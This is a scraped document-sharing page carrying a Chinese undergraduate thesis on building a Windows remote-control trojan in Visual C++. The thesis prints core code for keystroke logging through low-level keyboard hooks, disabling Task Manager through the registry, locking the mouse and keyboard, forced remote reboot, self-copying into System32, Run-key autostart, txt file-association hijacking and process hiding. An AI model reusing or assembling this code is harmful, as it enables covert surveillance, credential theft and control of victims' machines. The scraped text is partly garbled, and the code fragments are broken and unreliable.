收藏 分享(赏)

VC论文第二代木马的研究与实现论文.doc

上传人:dzzj200808 文档编号:2813244 上传时间:2018-09-28 格式:DOC 页数:26 大小:452.50KB
下载 相关 举报
VC论文第二代木马的研究与实现论文.doc_第1页
第1页 / 共26页
VC论文第二代木马的研究与实现论文.doc_第2页
第2页 / 共26页
VC论文第二代木马的研究与实现论文.doc_第3页
第3页 / 共26页
VC论文第二代木马的研究与实现论文.doc_第4页
第4页 / 共26页
VC论文第二代木马的研究与实现论文.doc_第5页
第5页 / 共26页
点击查看更多>>
资源描述

1、第二代木马的研究与实现第二代木马的研究与实现摘 要随着互联网的迅速普及和应用的不断发展,各种黑客工具和网络攻击手段层出不穷,网络安全越发重要。特洛伊木马以其攻击范围广、隐蔽性、危害大等特点成为常见的网络攻击技术之一,对网络环境中计算机信息资源的危害比许多病毒都还大。本论文介绍了木马的定义、原理、分类及其发展趋势等基本理论,对木马所采用的技术方法进行了归纳研究,采用第二代木马技术,设计了一个基于网络的 Windows 平台上的木马。在论文中分析了当前网络的安全现状,介绍了木马的发展历史及第二代木马采用的关键技术,最终完成了木马程序的编写,实现了远程系统信息获取模块,远程系统功能限制模块,信息发送

2、模块,击键记录模块等几大模块功能。归纳了现阶段存在的问题和改进意见,并根据系统的功能瓶颈提出了后续开发方向。关键词:网络安全;网络攻击;黑客;特洛伊木马Research and Implementation of Second-generation TrojanAbstractWith the popularization of the Internet and the development of its application, various attack methods to Internet have also appeared. Network security has becom

3、e important. As one of the means of attacking Internet, comparing with many viruses, Trojan is more harmful in network environment. The article concludes the Trojans basic theory and technology. A Trojan was designed based on Windows platform according to the second-generation Trojan technology. Thi

4、s article analyses the current network security status and introduces Trojans development and the key technology of the second-generation Trojan. Ultimately, the system accomplishes the Trojan program achieving the main functional modules, such as sending information, capturing typing and so on. The

5、 existing problems are summed up, and the future direction is proposed according to the bottleneck problem of the system. Key words: Network security;Network attack;Hacker; Trojan目 录论文总页数:20 页1 引 言 12 网络信息安全概述 12.1 计算机与网络信息系统安全 12.2 网络信息系统面临的安全威胁 12.3 个人主机面临的安全威胁 22.4 特洛伊木马知识概述 32.4.1 特洛伊木马的起源及定义 32

6、.4.2 特洛伊木马的历史 32.4.3 木马与病毒和蠕虫的区别 32.5 特洛伊木马分类 42.6 特洛伊木马的危害 52.7 特洛伊木马的结构 63 需求分析及方案设计 73.1 功能要求 73.2 环境需求 73.3 可行性研究 73.4 第二代木马技术分析 73.4.1 工作原理 .73.4.2 植入技术 .83.4.3 加载技术 .83.4.4 隐藏技术 .93.5 系统总体设计 104 第二代木马的实现 114.1 远程信息获取模块 114.1.1 获取远程系统信息 114.1.2 获取远程进程信息 124.2 远程系统功能限制模块 124.2.1 禁用任务管理器 124.2.2

7、锁定鼠标和键盘 134.2.3 远程注销、远程重启、远程关机 134.3 信息发送模块 144.4 击键记录模块 144.5 自加载技术 144.6 木马程序的传播 16结 论 17参考文献 18致 谢 19声 明 20第 1 页 共 20 页1 引 言随着互联网技术的迅猛发展,网络给人们带来了很多便利,也带来了越来越多的威胁,比如说特洛伊木马。特洛伊木马是一种典型的黑客软件,它通过各种隐蔽的途经植入目标机器,搜集其中各种敏感私密信息,然后通过网络,将搜集到的各种信息发回给攻击者。并接收攻击者的指令,完成其他各种可能对目标计算机有害的操作。甚至当一个功能强大的木马一旦被植入目标计算机,攻击者就

8、可以像操作自己的机器一样控制目标计算机。本质上木马是一种在远程计算机之间建立起连接,使远程计算机能够通过网络控制本地计算机的程序。它的运行遵循 TCP/IP 协议。由于它像间谍一样潜入用户的计算机,为黑客的攻击打开后门,与战争中的“木马” 战术十分相似,因此得名。2 网络信息安全概述2.1 计算机与网络信息系统安全国际标准化组织(ISO)将计算机安全定义为“计算机系统的硬件、软件和数据受到保护,不因偶然或恶意的原因而遭破坏、更改、泄露等,系统能连续正常运行”。网络安全基本上是一个实践性的技术领域,它涉及到多种技术领域,但其本质上是指网络上的信息安全,也就是网上信息的完整性和保密性、网络服务的可

9、用性。通俗地说,网络信息安全与保密主要是指保护网络信息系统,使其没有危险、不受威胁、不出事故。从技术角度来说,网络信息安全与保密的目标主要表现在系统的保密性、完整性、真实性、可用性、不可抵赖性等方面。保密性(confidentiality) :指信息不被泄漏给非授权的个人、实体和过程,或供其使用的特性。完整性(integrity)指信息未经授权不能被修改、不被破坏、不被插入、不延迟、不乱序和不丢失的特性。可用性(availability)指合法用户访问并能按要求顺序使用信息的特性。可控性(controllability)指授权机构对信息的内容及传播具有控制能力的特性。可审查性(audit):在

10、信息交流过程结束后,通信双方不能抵赖曾经做出的行为,也不能否认曾经接收到对方的信息。随着互联网的日益增长,将来自系统外部的服务请求完全隔离是不可能的,而系统的安全漏洞和系统的加密措施已不再像以前那样仅被为数不多的专业人士知道。在互联网上,数以万计的黑客站点时时刻刻在发布这些消息,并提供各种工具和技术以利用系统漏洞和破解体系进行攻击。日益严重的网络信息安全问题,不仅使上网企业、机构以及用户蒙受巨大的损失,而且使国家的安全与主权面临严重威胁。2.2 网络信息系统面临的安全威胁目前网络信息系统面临的安全威胁主要有:第 2 页 共 20 页(I)非法使用服务:这种攻击的目的在于非法利用网络的能力,网络

11、上的非授权访问应该是不可能的。不幸的是,用于在网络上共享资源及信息的工具、程序存在许多安全漏洞,而利用了这些漏洞就可以对系统进行访问了。(2)身份冒充; 这种攻击的着眼点在于网络中的信任关系,主要有地址伪装IP欺骗和用户名假冒。(3)数据窃取: 指所保护的重要数据被非法用户所获取,如入侵者利用电磁波辐射或搭线窃听等方式截获用户口令、帐号等重要敏感信息。(4)破坏数据完整性:指通过非法手段窃得系统一定使用权限,并删除、修改、伪造某些重要信息,以干扰用户的正常使用或便于入侵者的进一步攻击。2.3 个人主机面临的安全威胁网络中的个人机面临的威胁主要包括以下几个方面:1)恶意代码在个人用户接受的电子邮

12、件中,或从互联网上下载的应用程序中,很可能包括一些恶意代码,如:病毒、木马等。这些恶意代码带有一定的隐蔽性,潜伏时期长,不容易被发现。一旦发作,将给用户带来巨大的损失。如病毒、蠕虫可以破坏用户的有用文件,木马使用户的计算机被远程控制,用户所有的资源都暴露无疑。2)Cookie资料Cookie,是访问过的网站在个人硬盘上留下的记录,为TXT文本文件,主要用来记录个人在网站中输入的信息或访问站点时所做的选择,包括用户名、密码等一系列重要信息。Cooki的本意是友好的,其出发点是为了方便用户访问网站。但是这个方便也容易被入侵者利用,入侵者可以通过特别制作的Web页面或者电子邮件侵入Cookie,接着

13、从Web 账户中窃取或者改动数据,例如:窃取信用卡号、用户名、密码以及上网的帐号和密码等。3)对个人机的攻击及其原理目前大部分个人用户使用的操作系统为WindowsXP,因此以下分析的攻击方法主要面向WindowsXP。由于个人机一般不提供如HTTP,FTP,TELNET 等服务,所以通过这些服务实现入侵一般是行不通的。常见的对个人主机的攻击方法有:网络嗅探、拒绝服务攻击、特洛伊木马等。黑客攻击的步骤一般是:首先通过扫描来查找可以入侵的机器,即漏洞探测;接着确定该机器的IP地址;然后利用相应的攻击工具发起某种攻击。网络嗅探,嗅探器是一种网络监听工具(如:sniffer),该工具利用计算机网络接

14、口可以截获其他计算机的数据信息。嗅探器工作在网络环境的底层,它会拦截所有正在网络上传送的数据,并且通过相应的软件实时分析这些数据的第 3 页 共 20 页内容,进而明确所处的网络状态和整体布局。在信息安全学中,特洛伊木马指的是一种计算机程序,它表面上具有某种有用的功能,实际上却隐藏着可以控制用户计算机系统,危害系统安全的破坏性指令,特洛伊木马代表了一种程度较高的危险。当这种程序进入系统后,便有可能给系统带来危害。在特洛伊木马程序中插入的代码在别的程序中依然能存在,但只在藏身的程序中进行破坏性活动。代码能够在主程序的特权范围内从事任何破坏行为,使用自身或者其他程序进行操作。至于详细介绍,请看下一

15、部分。2.4 特洛伊木马知识概述2.4.1 特洛伊木马的起源及定义特洛伊木马(Trojan)简称“木马”,据说这个名称来源于希腊神话。大约在公元前 12 世纪,古希腊大军围攻特洛伊城,久久无法攻下。于是有人献计制造一只高二丈的大木马,假装作战马神,让士兵藏匿于巨大的木马中,大部队假装撤退而将木马摈弃于特洛伊城下。城中得知解围的消息后,遂将“木马”作为奇异的战利品拖入城内,全城饮酒狂欢。到午夜时分,全城军民尽入梦乡,藏匿于木马中的将士开秘门顺绳而下,开启城门及四处纵火,城外伏兵涌入,部队里应外合,焚屠特洛伊城。后世称这只大木马为“特洛伊木马” 。如今黑客程序借用其名,有“ 一经潜入,后患无穷 ”

16、之意。大多数安全专家统一认可的定义是:“特洛伊木马是一段能实现有用的或必需的功能的程序,但是同时还完成一些不为人知的功能。 ”2.4.2 特洛伊木马的历史木马程序技术发展至今,已经经历了4代,第一代,即是简单的密码窃取,发送等,没有什么特别之处。第二代木马,在技术上有了很大的进步,冰河可以说为是国内木马的典型代表之一。第三代木马在数据传递技术上,又做了不小的改进,出现了ICMP等类型的木马,利用畸形报文传递数据,增加了查杀的难度。第四代木马在进程隐藏方面,做了大的改动,采用了内核插入式的嵌入方式,利用远程插入线程技术,嵌入DLL线程。或者挂接PSAPI ,实现木马程序的隐藏,甚至在Window

17、s XP/2003下,都达到了良好的隐藏效果。2.4.3 木马与病毒和蠕虫的区别计算机病毒:是指编制或者在计算机程序中插入的破坏计算机功能或者毁坏数据,影响计算机使用,并能自我复制的一组计算机指令或者程序代码。计算机病毒一般具有以下几个特点:传染性,隐蔽性,潜伏性,破坏性,衍生性,寄生性等。其中传染性是计算机病毒最重要的特性,是否具有传染性是判别一第 4 页 共 20 页个程序是否为计算机病毒的最重要条件。蠕虫:蠕虫是不使用驻留文件即可在系统之间复制自身的程序。这点与病毒不同,病毒需要传播被感染的驻留文件。木马与病毒和蠕虫最主要的区别在于:窃取机密和远程控制上。这是大部分病毒和蠕虫没有的性质。

18、现在木马技术和病毒的发展相互借鉴,也使得木马具有了更好的传播性,病毒亦具有了远程控制能力,这同样使得木马程序和病毒的区别日益模糊。2.5 特洛伊木马分类根据木马的用途可以简单分为以下几类:1、密码发送型可以找到隐藏密码并把它们发送到指定的信箱。有人喜欢把自己的各种密码以文件的形式存放在计算机中,认为这样方便;还有人喜欢用 WINDOWS 提供的密码记忆功能,这样就可以不必每次都输入密码了。许多黑客软件可以寻找到这些文件,把它们送到黑客手中。也有些黑客软件长期潜伏,记录操作者的键盘操作,从中寻找有用的密码。在这里提醒一下,不要认为在文档中加了密码就可以把重要的保密文件存在公用计算机中,这是大错特

19、错的。别有用心的人完全可以用穷举法暴力来破译密码。利用 WINDOWS API 函数 EnumWindows 和 EnumChildWindows 对当前运行的所有程序的所有窗口(包括控件)进行遍历,通过窗口标题查找密码输入和出确认重新输入窗口,通过按钮标题查找用户应该单击的按钮,通过ES_PASSWORD 查找用户需要键入的密码窗口。向密码输入窗口发送WM_SETTEXT 消息模拟输入密码,向按钮窗口发送 WM_COMMAND 消息模拟单击。在破解过程中,把密码保存在一个文件中,以便在下一个序列的密码再次进行穷举或多部机器同时进行分工穷举,直到找到密码为止。此类程序在黑客网站上唾手可得,精通

20、程序设计的人,完全可以自己编写一个。2、键盘记录木马这种特洛伊木马是非常简单的。它们只做一件事情,就是记录用户键盘敲击并且在 LOG 文件里查找密码。这种特洛伊木马通常随着 Windows 的启动而启动。它们有在线和离线记录这样的选项,顾名思义,它们分别记录用户在线和离线状态下敲击键盘时的按键情况。也就是说用户按过什么按键,下木马的人都知道,从这些按键中攻击者很容易就会得到用户的密码等有用信息。当然,对于这种类型的木马,邮件发送功能也是必不可少的。3、DoS 攻击木马随着 DoS 攻击越来越广泛的应用,被用作 DoS 攻击的木马也越来越流行起第 5 页 共 20 页来。当入侵了一台机器,种上

21、DoS 了攻击木马,那么日后这台计算机就成为DoS 攻击的最得力助手了。所控制的肉鸡数量越多,发动 DoS 攻击取得成功的机率就越大。所以,这种木马的危害不是体现在被感染计算机上,而是体现在攻击者可以利用它来攻击一台又一台计算机,给网络造成很大的伤害和带来损失。还有一种类似 DoS 的木马叫做邮件炸弹木马,一旦机器被感染,木马就会随机生成各种各样主题的信件,对特定的邮箱不停地发送邮件,一直到对方瘫痪、不能接受邮件为止。4、代理木马黑客在入侵的同时掩盖自己的足迹,谨防别人发现自己的身份是非常重要的,因此,给被控制的肉鸡种上代理木马,让其变成攻击者发动攻击的跳板就是代理木马最重要的任务。通过代理木

22、马,攻击者可以在匿名的情况下使用Telnet, ICQ,IRC 等程序,从而隐蔽自己的踪迹。5、FTP 木马这种木马可能是最简单和古老的木马了,它的惟一功能就是打开 21 端口,等待用户连接。现在新 FTP 木马还加上了密码功能,这样,只有攻击者本人才知道正确的密码,从而进人对方计算机。6、反弹端口型木马这种木马是木马开发者在分析了防火墙的特性后发现:防火墙对于连入的链接往往会进行非常严格的过滤,但是对于连出的链接却疏于防范。于是,与一般的木马相反,反弹端口型木马的服务端(被控制端)使用主动端口,客户端(控制端) 使用被动端口。木马定时监测控制端的存在,发现控制端上线立即弹出端口主动连接控制端

23、的主动端口;为了隐蔽起见,控制端的被动端口一般开在 80,即使用户使用扫描软件检查自己的端口,发现类似 TCP UserIP:1026 ControllerIP:80ESTABLISHED 的情况,稍微疏忽一点,就会以为是自己在浏览网页。2.6 特洛伊木马的危害木马对计算机系统具有强大的控制和破坏能力, 可以窃取密码、控制系统操作、进行文件操作等等,一个功能强大的木马一旦被植入,攻击者就可以像操作自己的机器一样控制用户的机器,甚至可以远程监控用户的所有操作。木马的危害性在于以下 4 个方面。(1)窃取密码。一切以明文的形式,或缓存在 Cache 中的密码都能被木马侦测到。此外,很多木马还提供有

24、击键记录功能,所以,一旦有木马入侵,密码将很容易被窃取。(2)文件操作。控制端可由远程控制对服务端上的文件进行删除、修改、下第 6 页 共 20 页载等一系列操作,基本涵盖了 Windows 平台上所有的文件操作功能。(3)修改注册表。控制端可任意修改服务端注册表,包括删除、新建或修改主键、子健、键值。有了这项功能,控制端就可以将服务端上木马的触发条件设置得更隐蔽。(4)系统操作。这项内容包括重启或关闭服务端操作系统,断开服务端网络连接,控制服务端的鼠标、键盘监视服务端桌面操作,查看服务端进程等,控制端甚,至可以随时给服务端发送信息。2.7 特洛伊木马的结构一个完整的木马系统由硬件部分,软件部

25、分和具体连接部分组成。(1)硬件部分:建立木马连接所必须的硬件实体。控制端:对服务端进行远程控制的一方。服务端:被控制端远程控制的一方。INTERNET:控制端对服务端进行远程控制,数据传输的网络载体。(2)软件部分:实现远程控制所必须的软件程序。控制端程序:控制端用以远程控制服务端的程序。木马程序:潜入服务端内部,获取其操作权限的程序。木马配置程序:设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏得更隐蔽的程序。(3)具体连接部分:通过 INTERNET 在服务端和控制端之间建立一条木马通道所必须的元素。控制端 IP,服务端 IP:即控制端,服务端的网络地址,也是木马进行数据传输的

26、目的地。 控制端端口,木马端口:即控制端,服务端的数据入口,通过这个入口,数据可直达控制端程序或木马程序。说明:1.现在网络上流行的木马软件基本都是客户机/服务器模式也就是所谓的C/S 结构,即客户/服务器结构( Client/Server Architecture),由客户应用程序和服务器程序组成。目前也有一些木马开始向 B/S 结构转变,所谓 B/S 结构,就是只安装维护一个服务器,而客户端采用浏览器运行软件,即浏览器/服务器结构。 客户端运行软件,就像平时上网浏览网页一样,不用安装其它软件。B/S结构的软件所有的维护、升级工作都只在服务器上进行,而客户端就能获得最新版本的软件。2.控制端

27、也叫客户端,也就是控制木马的那一部分程序,它主要在木马使用者的机器里。而服务端是需要非法潜入其他机器的一种小程序。所以,我们第 7 页 共 20 页传统意义上说的种植木马是指把木马的服务端置入他人的机器的一种做法。3.只有在配置好“ 木马配置程序 ”后才会生成配置的服务端。一些小木马无此功能,在它编写的时候就已经固定好配置类型了。3 需求分析及方案设计3.1 功能要求本系统的开发要求采用 C/S 结构,选用所熟悉的开发工具及开发环境进行本系统的设计与开发。设计开发一个木马程序,本设计要求实现部分功能目标机器(肉鸡)情况的获取和控制等,具体包括以下内容:(1)在设计与开发中,着重于解决目标机器情

28、况的获取和控制问题;(2)在设计与开发中,既探讨能实现木马程序自启动,拷贝到 system32 下及文件关联的实现。3.2 环境需求操作系统:Windows XP开发平台:Visual C+ 6.03.3 可行性研究本程序的开发利用 Visual C+作为开发工具。使用其作为程序的开发工具,是因为它采用面向对象的编程方法-把程序和数据封装起来作为一个对象,并为每个对象赋予相应的属性;事件驱动的编程机制-通过事件执行对象的操作,在设计应用程序时,不必建立具有明显的开始和结束的程序,而是编写若干个过程,通过这些过程执行指定的操作;提供完善的指令控制语句,给开发高性能的系统提供了保障,保证了代码的模

29、块化要求。3.4 第二代木马技术分析3.4.1 工作原理第二木马即传统木马其实是一种基于 C/S 结构的远程控制软件。它与普通远程控制软件最大的区别就是木马具有隐蔽性和恶意破坏性,而普通远程控制软件没有。传统木马程序一般分为两部分:客户端和服务器端。客户端安装在攻击者自己的机器上,而服务器端则通过各种隐秘的手段植入目标机器中。当木马服务器端被加载运行后,会在目标机器上产生一个新的进程,打开一个约定的监听端口。如图 1 所示,如果攻击者想要攻击目标机器,只要在自己本地的机器上运行木马客户端,向提前约定的目标机器的监听端口发起连接请求,目标机器上的木马服务器端一旦发现该连接请求就立即响应,从而建立

30、起一条TCP 连接,这样攻击者就达到控制目标机器的目的。第 8 页 共 20 页图 1 木马的连接3.4.2 植入技术木马植入技术,主要是指木马利用各种途经进入目标机器的具体实现方法。传统木马的植入主要靠伪装欺骗,也就是更改木马服务器端程序文件的后缀名和图标,将其伪装成一个有用的程序、文本文件或多媒体文件等等。然后通过以下几种方式植入:藏匿在电子邮件的附件中,并在目标机器用户受骗点击相应藏有木马程序的文件图标时自动完成木马的植入操作;通过即时通信软件比如 QQ 向目标机器传送文件,并在目标机器用户受骗接收藏有木马程序的文件时自动完成木马的植入;在一些软件下载网站放置一些诱人的实用小工具软件链接

31、供用户下载,其实用户下载的就是伪装的木马程序,一旦用户下载并完成安装,则木马就被植入。伪装欺骗就是将木马程序同其他软件捆绑在一起以实现欺骗式植入。当用户运行执行捆绑有木马的应用程序时,木马就得以植入;这时由于原来的应用程序仍可正确执行,从而使得用户无法察觉到木马的植入行为。3.4.3 加载技术作为一个优秀的木马,自启动功能是必不可少的,这样可以保证木马不会因为用户的关机操作而彻底失去作用。正因为该项技术如此重要,所以,很多编程人员都在不停地研究和探索新的自启动技术,并且时常有新的发现。一个典型的例子就是把木马加入到用户经常执行的程序 (例如 explorer.exe)中,用户执行该程序时,则木

32、马自动发生作用。当然,更加普遍的方法是通过修改Windows 系统文件和注册表达到目的,经常用的方法主要有以下几种:1、在 Win.ini 中启动在 Win.ini 的windows 字段中有启动命令“load “和“run“,在一般情况下 “ “后面是空白的,如果有后跟程序,比如说是这个样子:run=c:windowsfile.exe load=c:windowsfile.exe要小心了,这个 file.exe 很可能是特洛伊木马。2、利用注册表加载运行第 9 页 共 20 页注册表位置都是木马喜好的藏身加载之所。3、在 Winstart.bat 中启动Winstart.bat 是一个特殊性

33、丝毫不亚于 Autoexec.bat 的批处理文件,也是一个能自动被 Window 加载运行的文件。它多数情况下为应用程序及 Windows 自动生成,在执行了 Windows 自动生成,在执行了 W 并加截了多数驱动程序之后开始执行 (这一点可通过启动时按 F8 键再选择逐步跟踪启动过程的启动方式可得知)。由于 Autoexec.bat 的功能可以由 Winstart.bat 代替完成,因此木马完全可以像在 Autoexec.bat 中那样被加载运行,危险由此而来。4、启动组木马们如果隐藏在启动组虽然不是十分隐蔽,但这里的确是自动加载运行的好场所,因此还是有木马选择在这里驻留的。启动组对应的

34、文件夹为C:Windowsstart menuprogramsstartup,在注册表中的位置如下 :HKEY_CURRENT_USERSoftwareMicrosoftwindowsCurrentVersionExplorershellFolders Startup=“c:windowsstart menuprogramsstartup“。5、*.INI即应用程序的启动配置文件,控制端利用这些文件能启动程序的特点,将制作好的带有木马启动命令的同名文件上传到服务端覆盖这同名文件,这样就可以达到启动木马的目的了。只启动一次的方式:在 winint.ini.中( 用于安装较多)。6、修改文件关联修

35、改文件关联是木马们常用手段 (主要是国产木马,国外的木马大都没有这个功能) ,比方说正常情况下 TXT 文件的打开方式为 Notepad.EXE 文件,但一旦中了文件关联木马,则 txt 文件打开方式就会被修改为用木马程序打开,如著名的国产木马冰河就是这样干的。“冰河“ 就是通过修改HKEY_CLASSES_ROOTtxtfilewhellopencommand 下的键值,将 “C:WINDOWSNOTEPAD.EXE 本应用Notepad 打开, HKEY 一 CLASSES 一 ROOTtxtfileshellopencommand 的键值,将“C:WINDOWSNOTEPAD.EXE%l

36、“改为“C:WINDOWSSYSTEMSYSEXPLR.EXE %l“,这样,一旦用户双击一个 TXT 文件,原本应用Notepad 打开该文件,现在却变成启动木马程序了。3.4.4 隐藏技术为确保有效性,木马必须具有较好的隐蔽性。木马的主要隐蔽技术包括:伪装、进程隐藏等。(1)伪装第 10 页 共 20 页从某种意义上讲,伪装是一种很好的隐藏。木马病毒的伪装主要有文件伪装和进程伪装。前者除了将文件属性改为隐藏之外, 大多通过采用一些比较类似于系统文件的文件名来隐蔽自己;而后者则是利用用户对系统了解的不足,将自己的进程名设为与系统进程类似而达到隐藏自己的目的。(2)进程隐藏木马病毒进程是它驻留

37、在系统中的最好证据, 若能够有效隐藏自己的进程, 显然将大大提高木马病毒的隐蔽性。在 WINDOWS 9X 系统中可以通过将自己设为系统进程来达到隐藏进程的目的。具体可通过以下代码来实现:WINAPI WinMain(HINSTANCE,HINSTANCE,LPSTR,int)DWORD dwVersion = GetVersion();/取得 Windows 的版本号if (dwVersion = 0x80000000) / Windows 9x 隐藏任务列表int (CALLBACK *rsp)(DWORD,DWORD);HINSTANCE dll=LoadLibrary(“KERNEL3

38、2.DLL“);/加载 kernel32.dllrsp=(int(CALLBACK*)(DWORD,DWORD)GetProcAddress(dll,“RegisterServiceProcess“);/找到 RegisterServiceProcess 入口地址rsp(NULL,1);/将该程序注册为服务进程FreeLibrary(dll);/释放 DLL 模块return 0;3.5 系统总体设计如图 2 所示木马程序的 Client 端,采用 VC+编写,程序名为TROY.EXE。第 11 页 共 20 页图 2 Client 端效果图本木马一共有 4 个模块,分别为:远程系统信息获取模

39、块,远程系统功能限制模块,信息发送模块,击键记录模块。远程系统信息获取模块:把远程主机的操作系统版本、计算机名、内存大小、当前进程等多项系统数据记录,发送并回显至 Client 端;远程系统功能限制模块:对远程主机进行远程注销、远程重启、远程关机、锁定鼠标、锁定键盘等多项功能限制,提高木马的生存性;信息发送模块:向 Server 端发送消息,可以达到善意的提醒;击键记录模块:记录远程主机用户的击键记录,发送并回显至 Client 端。4 第二代木马的实现木马的编写采用 C/S 结构,Client 上的每一个按钮相当于向 Server 发送一个字母消息,在 Server 中会有相应的函数进行判断

40、,根据收到的字母进行函数调用以实现功能。4.1 远程信息获取模块4.1.1 获取远程系统信息该功能模块运行界面如图 3 所示,主要调用了四个 API 函数:第 12 页 共 20 页图 3 查看远程系统信息GetSystemInfo:返回当前系统的信息GlobalMemoryStatus:获得当前可用的物理和虚拟内存信息GetVersionEx:返回当前操作系统的版本信息GetSystemMetrics:返回与 windows 环境有关的信息核心代码如下:/取得系统信息CString DisplayString,cpu,Memory,os,osps,display;SYSTEM_INFO Sy

41、stemInfo;:GetSystemInfo( /获取内存信息MEMORYSTATUS MemoryStatus;MemoryStatus.dwLength=sizeof(MEMORYSTATUS);:GlobalMemoryStatus( char buffer20;/返回总的物理内存大小,以字节单位wsprintf(buffer,“%d bytes“,MemoryStatus.dwTotalPhys);/获取系统版本信息OSVERSIONINFO versionInfo;versionInfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);:GetV

42、ersionEx(/获取屏幕分辨率int cx,cy;cx=:GetSystemMetrics(SM_CXSCREEN);cy=:GetSystemMetrics(SM_CYSCREEN);4.1.2 获取远程进程信息我们为进程建立快照(snapshot) ,调用 SHGetFileInfo 获取进程的图标,再插入到列表中实现。运行界面如图 4 所示第 13 页 共 20 页图 4 查看远程进程信息核心代码如下:HANDLE SnapShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);PROCESSENTRY32 ProcessInfo; P

43、rocessInfo.dwSize=sizeof(ProcessInfo);BOOL Status=Process32First(SnapShot,SHGetFileInfo(ProcessInfo.szExeFile,0,4.2 远程系统功能限制模块4.2.1 禁用任务管理器这个功能运行界面如图 5 所示,是采用是通过在注册表HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionpoliciessystem 中新建字符串值 DWORD 值实现。图 5 禁用任务管理器核心代码如下:#define HKCU HKEY_CURRENT_US

44、ERLPCTSTR KEY_DisableTaskMgr=“SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem“;LPCTSTR VAL_DisableTaskMgr=“DisableTaskMgr“;HKEY hKEY;if(RegOpenKey(HKCU,KEY_DisableTaskMgr,DWORD val=1;RegSetValueEx(hKEY,VAL_DisableTaskMgr,NULL,REG_DWORD,(BYTE*)4.2.2 锁定鼠标和键盘这个功能的实现方式如下:Client 端点击按钮,发送消息到 Server 端

45、。第 14 页 共 20 页Server 通过全局变量 LockOrUnLockKey 和 LockOrUnLockMouse 来判断是操作键盘还是鼠标,然后下相应的钩子(HOOK 函数)来拦截 Server 端的消息来实现鼠标或键盘的锁定。核心代码如下:hhkLowLevelKybd2000=SetWindowsHookEx(WH_KEYBOARD_LL,LowLevelKeyboardProc,AfxGetApp()-m_hInstance,0);4.2.3 远程注销、远程重启、远程关机这三个功能都是调用 ExitWindowsEx 函数实现,所不同的是在 WINDOWS NT 以上的操作

46、系统中,远程重启和关机需要把程序进程提权。由于注销比较简单,所以不做描述。又因远程重启和关机的实现比较类似,只是ExitWindowsEx 的调用不同(重启 EWX_REBOOT,关机 EWX_SHUTDOWN) ,所以只列出了远程重启的代码。核心代码如下:HANDLE hToken;TOKEN_PRIVILEGES tkp;DWORD dwVersion;dwVersion=GetVersion();OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,LookupPrivilegeValue(NUL

47、L,SE_SHUTDOWN_NAME,tkp.PrivilegeCount=1;/设置本进程为特权tkp.Privileges0.Attributes=SE_PRIVILEGE_ENABLED;AdjustTokenPrivileges(hToken,FALSE,ExitWindowsEx(EWX_REBOOT|EWX_FORCE,0);4.3 信息发送模块核心代码如下:char buff100=0;CString msg;int ret=0;for(;)ret=recSo.Receive(buff,100);第 15 页 共 20 页if(ret=0)break;msg+=buff;AfxM

48、essageBox(msg);4.4 击键记录模块核心代码如下:listenkeyhook = SetWindowsHookEx(WH_KEYBOARD_LL,ListenKeyProc,AfxGetApp()-m_hInstance,0);4.5 自加载技术 开机自启动是通过在注册表HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun 中新建字符串值( REG_SZ)实现。文件关联是通过在注册表 HKEY_CLASSES_ROOTtxtfileshellopencommand 中修改默认值实现。程序自我复制并设置为系统属性是通

49、过调用 CopyFile,SetFileAttributes这两个 API 函数实现。在 BOOL CRUNDLLApp:InitInstance()中添加以下代码/获取 System32 的路径GetSystemDirectory(SysPath,sizeof(SysPath);/获取本程序当前路径和名字GetModuleFileName(NULL,FilePathAndName,sizeof(FilePathAndName);/设置 system32 下的程序为系统属性SetFileAttributes(lpFileNewPathAndName,FILE_ATTRIBUTE_SYSTEM);/判断 System32 下是否存在本文件if(_access(lpFileNewPathAndName,0)!=0)/如果不存在就拷贝CopyFile(FilePathAndName,lpFileNewPathAndName,FALSE);/开机自启动的注册表键值LPCTSTR lpRegSubPath=“SoftwareMic

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 高等教育 > 大学课件

本站链接:文库   一言   我酷   合作


客服QQ:2549714901微博号:道客多多官方知乎号:道客多多

经营许可证编号: 粤ICP备2021046453号世界地图

道客多多©版权所有2020-2025营业执照举报